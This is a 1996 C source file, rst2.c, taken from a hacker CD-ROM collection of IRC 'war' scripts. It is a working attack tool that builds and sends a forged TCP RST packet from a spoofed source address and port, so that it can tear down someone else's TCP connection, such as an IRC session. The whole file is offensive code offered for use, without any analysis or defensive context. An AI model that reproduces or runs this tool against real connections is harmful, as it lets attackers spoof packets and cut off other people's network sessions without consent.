home *** CD-ROM | disk | FTP | other *** search
/ HaCKeRz KrOnIcKLeZ 3 / HaCKeRz_KrOnIcKLeZ.iso / ircscripts / warirc / rst2.c < prev    next >
C/C++ Source or Header  |  1996-04-23  |  1KB  |  44 lines

  1. #include "tcpip.h"
  2. /* #include "/usr/src/see/srvent.h" */
  3.  
  4. void sendpack(char *fromhost, int fromport, char *tohost, int toport,
  5.     u_long seqnz) {
  6.  char *packet;
  7.  char *tcppacket;
  8.  char *sendme;
  9.  static struct sockaddr_in local, remote;
  10.  static int sock = 0;
  11.  if (!sock) {
  12.    resolve_address((struct sockaddr *)&local, fromhost, fromport);
  13.    resolve_address((struct sockaddr *)&remote, tohost, toport);
  14.    sock = socket(AF_INET, SOCK_RAW, 255);
  15.    if (sock == -1) { perror("Getting raw socket"); exit(-1); }
  16.   }
  17.    tcppacket = create_tcp(local.sin_port, remote.sin_port, seqnz, 0, TH_RST,
  18.     NULL, 0);
  19.    packet = create_ip(local.sin_addr.s_addr, remote.sin_addr.s_addr,
  20.     6, 24, 4, tcppacket, 20);
  21.   {
  22.    int result;
  23.  
  24.    result = sendto(sock, packet, 40, 0,
  25.     (struct sockaddr *)&remote, sizeof(remote));
  26.    if (result != 40) { perror("sending packet"); }
  27.   }
  28. }
  29.  
  30. main(int argc, char **argv) {
  31. if (argc!=6) {
  32.  printf("usage: %s <from host> <from port> <to host> <to port> <sequence>\n", argv[0]);
  33.  exit(-1);
  34. }
  35. #ifdef SERVPORTIE
  36.  printf("fake: %s.%s --> %s.%s\n", argv[1], tcp_servport(atoi(argv[2])), 
  37.     argv[3], tcp_servport(atoi(argv[4])));
  38. #else
  39.  printf("fake: %s.%d --> %s.%d\n", argv[1], atoi(argv[2]), argv[3], 
  40.     atoi(argv[4]));
  41. #endif
  42.  sendpack(argv[1], atoi(argv[2]), argv[3], atoi(argv[4]), atol(argv[5]));
  43. }
  44.